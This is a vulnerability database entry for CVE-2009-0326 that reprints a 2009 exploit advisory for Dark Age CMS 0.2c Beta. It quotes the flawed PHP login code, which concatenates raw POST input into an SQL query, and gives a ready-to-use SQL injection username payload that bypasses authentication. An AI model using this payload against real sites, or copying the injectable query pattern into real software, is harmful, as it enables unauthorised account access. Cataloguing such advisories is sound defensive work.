Dark Age CMS 0.2c Beta - Authentication Bypass

🗓️ 13 Jan 2009 00:00:00Reported by darkjokerType

Dark Age CMS 0.2c Beta is vulnerable to authentication bypass via SQL injection attack.

Reporter	Title	Published	Views	Family All 7
Circl	CVE-2009-0326	13 Jan 200900:00	–	circl
CVE	CVE-2009-0326	29 Jan 200918:09	–	cve
Cvelist	CVE-2009-0326	29 Jan 200918:09	–	cvelist
Exploit DB	Dark Age CMS 2.0 - 'login.php' SQL Injection	14 Jan 200900:00	–	exploitdb
EUVD	EUVD-2009-0330	7 Oct 202500:30	–	euvd
NVD	CVE-2009-0326	29 Jan 200918:30	–	nvd
Prion	Sql injection	29 Jan 200918:30	–	prion

--+++==================================================================================+++--
--+++====== Dark Age CMS <= v0.2c Beta (Auth Bypass) SQL Injection Vulnerability ======+++--
--+++==================================================================================+++--

[+] Dark Age CMS <= v0.2c Beta (Auth Bypass) SQL Injection Vulnerability
[+] Author: darkjoker
[+] Site  : http://darkjoker.net23.net
[+] Notes : Have fun

[+] Code
[+]	$username = $_POST['username'];
[+]	$user_password = $_POST['password'];
[+]	$password = md5($user_password);
[+]
[+]	$query = "SELECT * FROM " . ACCOUNTS_TABLE . " WHERE username='$username' AND password = '$password'";
[+]	$result = mysql_query($query) or die('error making query');
[+]

[+] Login data:

[+] Username: x' OR 'x' = 'x'#
[+] Password: anything

# milw0rm.com [2009-01-13]

13 Jan 2009 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 27.5

EPSS0.00915